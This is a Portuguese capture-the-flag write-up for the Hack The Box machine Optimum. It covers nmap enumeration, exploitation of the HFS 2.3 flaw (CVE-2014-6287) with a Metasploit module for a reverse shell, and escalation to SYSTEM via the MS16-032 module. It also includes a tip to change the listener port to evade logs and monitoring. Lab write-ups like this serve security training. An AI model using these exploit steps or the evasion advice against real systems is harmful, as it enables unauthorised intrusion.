Hack The Box – Optimum Writeup (Usando Metasploit)

Hack The Box – Optimum Writeup (Usando Metasploit)

Hoje veremos o writeup completo da máquina Optimum do Hack The Box!
Link de acesso: https://app.hackthebox.com/machines/Optimum

Descrição

A máquina Optimim é uma máquina de nível iniciante que se concentra principalmente na enumeração de serviços com exploits conhecidos. Ambas as explorações são fáceis de obter e possuem módulos Metasploit associados, tornando esta máquina bastante simples de concluir.

Conhecimento requeridos:

  • Conhecimento básico em Windows
  • Enumeração de portas e serviços

Conhecimento que serão aprendidos:

  • Identificação de serviços vulneráveis
  • Identificação de explorações conhecidas
  • Técnicas básicas de escalonamento de privilégios do Windows

Reconhecimento

Para começar, criaremos uma variável chamada “ports”. Seu valor será o resultado da execução do NMAP no endereço IP da máquina Optimum, seguido pelo parsing do resultado para obter apenas as portas obtidas pelo NMAP.

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.8 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

Em seguida, podemos executar o NMAP novamente no mesmo endereço IP, desta vez incluindo as portas identificadas anteriormente e habilitando as flags -sC e -sV.

A opção -sC (equivalente a -script=default) indica ao NMAP para executar o script padrão de detecção de vulnerabilidades e informações sobre os serviços em execução nas portas abertas. Esse script pode ajudar a identificar potenciais vulnerabilidades nos serviços e também fornecer informações detalhadas sobre os mesmos.

A opção -sV (equivalente a -version-intensity=7) solicita que o NMAP faça uma tentativa de identificação da versão do serviço em execução nas portas abertas. Isso pode ajudar a identificar o tipo de serviço e sua versão, o que pode ser útil para determinar se há vulnerabilidades conhecidas ou para fins de identificação de sistema.

Em resumo, a opção -sC permite executar um script de detecção de vulnerabilidades e informações sobre serviços, enquanto a opção -sV tenta identificar a versão do serviço em execução nas portas abertas.

nmap -sC -sV -p$ports 10.10.10.8

Observaçao: Esta é apenas uma forma de se fazer o scan de serviços ativos, mas sinta-se à vontade para usar outros métodos que desejar.

Resultado do scan:

Com base no screenshot acima, é possível notar que o serviço ativo é TCP/80 (HTTP). Acessando o serviço, é possível constatar que se trata de um HFS-HttpFileServer e que a versão em uso é a 2.3.

Fazendo uma pesquisa por “HFS exploit”, foi possível identificar o link https://www.exploit-db.com/exploits/39161 .

Exploração (Shell inicial)

Neste caso, podemos verificar que existe uma CVE associada à exploração deste serviço (cve-2014-6287). A partir disso, é possível utilizar o Metasploit para procurar por módulos de exploração desse serviço.

msfconsole
search hfs 2.3

Dentre os módulos disponíveis no Metasploit, o que coincide com a pesquisa que realizamos é o “exploit/windows/http/rejetto_hfs_exec”. Iremos utilizá-lo para explorar a vulnerabilidade encontrada no serviço.

use exploit/windows/http/rejetto_hfs_exec

Para visualizar as configurações necessárias para utilizar o módulo, podemos utilizar o comando abaixo:

info

Aqui podemos obter mais informações sobre o módulo. Na seção “Referências”, é possível notar que ele faz referência ao siteCVE-2014-6287 , o qual menciona o CVE que identificamos anteriormente no site exploit-db.com

Além disso, podemos visualizar as configurações necessárias para utilizar o módulo. É importante ressaltar que antes de definir as configurações, é uma boa prática analisar todas as opções disponíveis com o comando abaixo para garantir que os requisitos necessários sejam atendidos antes de utilizar o módulo:

show options

Aqui podemos observar que é necessário informar o endereço IP do alvo, bem como o endereço IP da nossa própria máquina (o IP atribuído quando nos conectamos à VPN), juntamente com a porta que ficará em modo “listening” para a conexão reversa.

Para definir o endereço IP da máquina alvo, podemos utilizar o seguinte comando:

set rhost 10.10.10.8

Para definir o endereço IP da nossa própria máquina, que será utilizada como atacante, podemos utilizar o seguinte comando:

set lhost tun0

Uma observação importante é que podemos definir o endereço IP da nossa máquina atacante, mas caso haja dúvidas sobre o IP atribuído, podemos referenciar a interface “tun0”, que é habilitada quando nos conectamos à VPN, e assim obter o IP da VPN que utilizamos.

Por padrão, a porta utilizada para o modo “listening” do módulo é a 4444, mas é recomendável alterar a porta para uma que seja comumente utilizada no ambiente real, a fim de evitar ser detectado por logs ou monitoramento do ambiente.

Agora que as informações foram configuradas corretamente, podemos executar o módulo para explorar a vulnerabilidade.

run

Após a execução do módulo com sucesso, podemos usar o comando “getuid” para verificar se obtemos uma shell no sistema alvo com o usuário “Kostas”.

Com a shell obtida pelo Metasploit, podemos navegar pelos diretórios e ler arquivos, porém, para obter uma shell interativa com o sistema, podemos utilizar o comando abaixo:

shell

Ao analisarmos os usuários do sistema, podemos verificar que além do usuário Kostas, há também o usuário Administrator. No entanto, ao tentarmos acessar o diretório do usuário Administrator, provavelmente nos depararemos com restrições de permissão que nos impedirão de acessar seus arquivos.

cd c:\users
dir
cd Administrator

Nesse ponto, é necessário elevar os privilégios do usuário obtido para continuar a explorar o sistema.

Podemos retornar ao modo do Metasploit usando o comando EXIT e aproveitar os recursos disponíveis para analisar o sistema alvo e descobrir possíveis vulnerabilidades que permitam a elevação de privilégios. Para obter mais informações sobre o sistema, podemos utilizar o comando abaixo.

sysinfo

Na saída do comando anterior, é possível verificar que a arquitetura do sistema é de 64 bits. Com a sessão ativa, podemos utilizar o módulo Suggester para analisar o sistema em busca de métodos para a exploração e elevação de privilégios. Para isso, vamos utilizar os comandos abaixo para salvar a sessão e executar o módulo.

bg

Aqui estamos validando se a sessão que salvamos anteriormente ainda está ativa e disponível para uso.

show sessions

Aqui estamos configurando o módulo Suggester para uso na sessão ativa. O módulo Suggester analisa o sistema de destino para identificar possíveis vulnerabilidades de escalonamento de privilégios.

use post/multi/recon/local_exploit_suggester

Observação: Para usarmos este módulo, basta setar a sessão que desejamos que ele faça a validação e executar o mesmo.

set session 1
run

Aqui, o módulo Suggester enumera todos os exploits e módulos relevantes para a máquina alvo, além de validar possíveis módulos existentes no próprio Metasploit que possam ser usados para exploração e elevação de privilégios.

Os módulos identificados pelo Suggester para uso são:

  • exploit/windows/local/bypassuac_eventvwr
  • exploit/windows/local/ms16_032_secondary_logon_handle_privesc

Ao tentar usar esses módulos, o único que se mostrou efetivo foi o módulo exploit/windows/local/ms16_032_secondary_logon_handle_privesc, cujos passos serão listados abaixo.

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

Para usar este módulo, você precisa selecionar a sessão ativa correspondente ao alvo, bem como especificar o endereço IP da máquina atacante (o endereço atribuído pela conexão VPN), e também pode escolher uma porta para o modo LISTENING se desejar alterar a porta padrão 4444.

Para selecionar a sessão ativa, use o comando abaixo:

set session 1

Setando o IP da máquina atacante

set lhost tun0

Executando o módulo:

run

Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.

Flags do sistema

Podemos usar a shell interativa do sistema para obter as FLAGs do sistema.

shell

Flag user.txt

shell
type c:\users\kostas\desktop\user.txt

Flag root.xt

type c:\users\administrator\desktop\root.txt

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Explorando vulnerabilidade através do Metasploit

Explorando vulnerabilidade através do Metasploit

O que é o Metasploit? Metasploit Framework (MSF) é uma ferramenta open source utilizada para testes de invasão.

Ler post completo
Utilizando clientes RDP no Linux

Utilizando clientes RDP no Linux

Já precisou se conectar em um servidor Windows via Remote Desktop Protocol (RDP) através do Linux e teve dificuldades?

Ler post completo
Powershell Download & Execute

Powershell Download & Execute

Já precisou realizar o download de algum arquivo em Powershell e teve dificuldades?

Ler post completo